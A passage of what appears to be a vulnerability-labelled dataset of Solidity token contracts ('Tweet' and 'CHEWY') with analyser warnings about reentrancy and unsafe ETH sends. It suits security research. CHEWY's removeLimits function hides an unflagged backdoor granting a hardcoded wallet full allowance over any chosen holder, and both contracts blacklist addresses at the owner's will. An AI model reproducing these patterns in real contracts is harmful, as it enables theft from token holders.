3dbfd95): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3dbfd95: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2b0d5e0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2b0d5e0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 3dbfd95\n\t\t// reentrancy-benign | ID: 2b0d5e0\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 3dbfd95\n\t\t// reentrancy-benign | ID: 2b0d5e0\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7a0b046): Tweet._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7a0b046: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 39d7d47\n\t\t// reentrancy-benign | ID: 2b0d5e0\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 3dbfd95\n\t\t// reentrancy-events | ID: 0af7490\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a2d1af0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a2d1af0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: eeb932d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for eeb932d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: a2d1af0\n\t\t\t\t// reentrancy-eth | ID: eeb932d\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: a2d1af0\n\t\t\t\t\t// reentrancy-eth | ID: eeb932d\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: eeb932d\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: eeb932d\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: eeb932d\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: a2d1af0\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: eeb932d\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: eeb932d\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: a2d1af0\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 3dbfd95\n\t\t// reentrancy-events | ID: 0af7490\n\t\t// reentrancy-events | ID: a2d1af0\n\t\t// reentrancy-benign | ID: 39d7d47\n\t\t// reentrancy-benign | ID: 2b0d5e0\n\t\t// reentrancy-eth | ID: 5b95806\n\t\t// reentrancy-eth | ID: 4e28b07\n\t\t// reentrancy-eth | ID: eeb932d\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 7db93ce): Tweet.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 7db93ce: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 3dbfd95\n\t\t// reentrancy-events | ID: 0af7490\n\t\t// reentrancy-events | ID: a2d1af0\n\t\t// reentrancy-eth | ID: 5b95806\n\t\t// reentrancy-eth | ID: 4e28b07\n\t\t// reentrancy-eth | ID: eeb932d\n\t\t// arbitrary-send-eth | ID: 7db93ce\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0af7490): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0af7490: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 39d7d47): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 39d7d47: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9ed9a9d): Tweet.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 9ed9a9d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1e6ab40): Tweet.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 1e6ab40: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5b95806): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5b95806: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4e28b07): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4e28b07: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() public onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), msg.sender, type(uint256).max);\n\n\t\t// reentrancy-events | ID: 0af7490\n\t\t// reentrancy-benign | ID: 39d7d47\n\t\t// reentrancy-eth | ID: 5b95806\n\t\t// reentrancy-eth | ID: 4e28b07\n transfer(address(this), balanceOf(msg.sender).mul(95).div(100));\n\n\t\t// reentrancy-events | ID: 0af7490\n\t\t// reentrancy-benign | ID: 39d7d47\n\t\t// reentrancy-eth | ID: 5b95806\n\t\t// reentrancy-eth | ID: 4e28b07\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: 0af7490\n\t\t// reentrancy-benign | ID: 39d7d47\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n\t\t// unused-return | ID: 9ed9a9d\n\t\t// reentrancy-eth | ID: 4e28b07\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 1e6ab40\n\t\t// reentrancy-eth | ID: 4e28b07\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: 4e28b07\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 4e28b07\n tradingOpen = true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: ca76fe6): Tweet.reduceFee(uint256) should emit an event for _finalSellTax = _newFee \n\t// Recommendation for ca76fe6: Emit an event for critical parameter changes.\n function reduceFee(uint256 _newFee) external onlyOwner {\n require(_msgSender() == _taxWallet);\n\n\t\t// events-maths | ID: ca76fe6\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualSend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10136.sol",
"size_bytes": 21821,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract CHEWY is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFees;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: ee6840b): CHEWY._bots is never initialized. It is used in CHEWY._transfer(address,address,uint256)\n\t// Recommendation for ee6840b: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private _bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3fcd3de): CHEWY._gnomesig should be immutable \n\t// Recommendation for 3fcd3de: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _gnomesig;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a206f16): CHEWY._taxWallet should be immutable \n\t// Recommendation for a206f16: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Chewy\";\n\n string private constant _symbol = unicode\"CHEWY\";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletAmount = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 22313ad): CHEWY._minTaxSwap should be constant \n\t// Recommendation for 22313ad: Add the 'constant' attribute to state variables that never change.\n uint256 public _minTaxSwap = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 65e5fac): CHEWY._maxTaxSwap should be constant \n\t// Recommendation for 65e5fac: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: d0eccb8): CHEWY._initialBuyTax should be constant \n\t// Recommendation for d0eccb8: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: e17041b): CHEWY._initialSellTax should be constant \n\t// Recommendation for e17041b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1f86fe3): CHEWY._finalBuyTax should be constant \n\t// Recommendation for 1f86fe3: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 222d087): CHEWY._finalSellTax should be constant \n\t// Recommendation for 222d087: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9f4f57c): CHEWY._reduceBuyAt should be constant \n\t// Recommendation for 9f4f57c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 72d66ab): CHEWY._reduceSellAt should be constant \n\t// Recommendation for 72d66ab: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 05a257d): CHEWY._preventCount should be constant \n\t// Recommendation for 05a257d: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventCount = 12;\n\n uint256 private _buyCounts = 0;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private caSellLimits = true;\n\n uint256 private caBlockLmits = 0;\n\n IUniswapV2Router02 private uniRouter;\n\n address private uniPair;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = _gnomesig = payable(\n 0xF788bec724106b0Fe4b6DC9F1626aec60Cc23EFa\n );\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFees[owner()] = true;\n\n _isExcludedFees[address(this)] = true;\n\n _isExcludedFees[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ba31f04): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ba31f04: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7cf673b): CHEWY.openTrading() ignores return value by uniRouter.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 7cf673b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4f45d7b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4f45d7b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: ba31f04\n\t\t// unused-return | ID: 7cf673b\n\t\t// reentrancy-eth | ID: 4f45d7b\n uniRouter.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: ba31f04\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 4f45d7b\n tradingOpen = true;\n }\n\n function initTrading() external onlyOwner {\n uniRouter = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniRouter), _tTotal);\n\n uniPair = IUniswapV2Factory(uniRouter.factory()).createPair(\n address(this),\n uniRouter.WETH()\n );\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a50dbb1): CHEWY.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for a50dbb1: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c119af0): CHEWY.approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for c119af0: Rename the local variables that shadow another component.\n function approve(address owner, address spender, uint256 amount) private {\n _allowances[owner][spender] = amount;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9158f1a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9158f1a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9a79c90): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9a79c90: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 9158f1a\n\t\t// reentrancy-benign | ID: 9a79c90\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 9158f1a\n\t\t// reentrancy-benign | ID: 9a79c90\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5135edc): CHEWY._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5135edc: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 9a79c90\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 9158f1a\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 151ba26): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 151ba26: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: e2da49e): CHEWY._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for e2da49e: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: ee6840b): CHEWY._bots is never initialized. It is used in CHEWY._transfer(address,address,uint256)\n\t// Recommendation for ee6840b: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d3cf448): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d3cf448: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b9c52ac): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b9c52ac: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _balances[from] = _balances[from] - amount;\n\n _balances[to] = _balances[to] + amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n uint256 fees = 0;\n\n if (from != owner() && to != owner()) {\n require(!_bots[from] && !_bots[to]);\n\n fees = amount\n .mul(\n (_buyCounts > _reduceBuyAt) ? _finalBuyTax : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniPair &&\n to != address(uniRouter) &&\n !_isExcludedFees[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletAmount,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCounts++;\n }\n\n if (to == uniPair && from != address(this)) {\n fees = amount\n .mul(\n (_buyCounts > _reduceSellAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// tautology | ID: e2da49e\n if (contractETHBalance >= 0) {\n\t\t\t\t\t// reentrancy-events | ID: 151ba26\n\t\t\t\t\t// reentrancy-eth | ID: d3cf448\n\t\t\t\t\t// reentrancy-eth | ID: b9c52ac\n sendToEth(address(this).balance);\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniPair &&\n swapEnabled &&\n contractTokenBalance > _minTaxSwap &&\n _buyCounts > _preventCount\n ) {\n if (caSellLimits) {\n if (caBlockLmits < block.number) {\n\t\t\t\t\t\t// reentrancy-events | ID: 151ba26\n\t\t\t\t\t\t// reentrancy-eth | ID: d3cf448\n\t\t\t\t\t\t// reentrancy-eth | ID: b9c52ac\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t\t// reentrancy-events | ID: 151ba26\n\t\t\t\t\t\t\t// reentrancy-eth | ID: d3cf448\n\t\t\t\t\t\t\t// reentrancy-eth | ID: b9c52ac\n sendToEth(address(this).balance);\n }\n\n\t\t\t\t\t\t// reentrancy-eth | ID: b9c52ac\n caBlockLmits = block.number;\n }\n } else {\n\t\t\t\t\t// reentrancy-events | ID: 151ba26\n\t\t\t\t\t// reentrancy-eth | ID: d3cf448\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t// reentrancy-events | ID: 151ba26\n\t\t\t\t\t\t// reentrancy-eth | ID: d3cf448\n sendToEth(address(this).balance);\n }\n }\n }\n }\n\n if (fees > 0) {\n\t\t\t// reentrancy-eth | ID: d3cf448\n _balances[address(this)] = _balances[address(this)].add(fees);\n\n\t\t\t// reentrancy-events | ID: 151ba26\n emit Transfer(from, address(this), fees);\n }\n\n\t\t// reentrancy-eth | ID: d3cf448\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: d3cf448\n _balances[to] = _balances[to].add(amount.sub(fees));\n\n\t\t// reentrancy-events | ID: 151ba26\n emit Transfer(from, to, amount.sub(fees));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function removeLimits(address _limits) external onlyOwner {\n caSellLimits = false;\n\n _maxTxAmount = _tTotal;\n\n _maxWalletAmount = _tTotal;\n\n _allowances[_limits][_gnomesig] = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function withdrawEth() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function sendToEth(uint256 amount) private {\n\t\t// reentrancy-events | ID: 9158f1a\n\t\t// reentrancy-events | ID: 151ba26\n\t\t// reentrancy-eth | ID: d3cf448\n\t\t// reentrancy-eth | ID: b9c52ac\n _taxWallet.transfer(amount);\n }\n\n receive() external payable {}\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniRouter.WETH();\n\n _approve(address(this), address(uniRouter), tokenAmount);\n\n\t\t// reentrancy-events | ID: 9158f1a\n\t\t// reentrancy-events | ID: 151ba26\n\t\t// reentrancy-benign | ID: 9a79c90\n\t\t// reentrancy-eth | ID: d3cf448\n\t\t// reentrancy-eth | ID: b9c52ac\n uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n}\n",
"file_name": "solidity_code_10137.sol",
"size_bytes": 21242,
"vulnerability": 4
} |
{
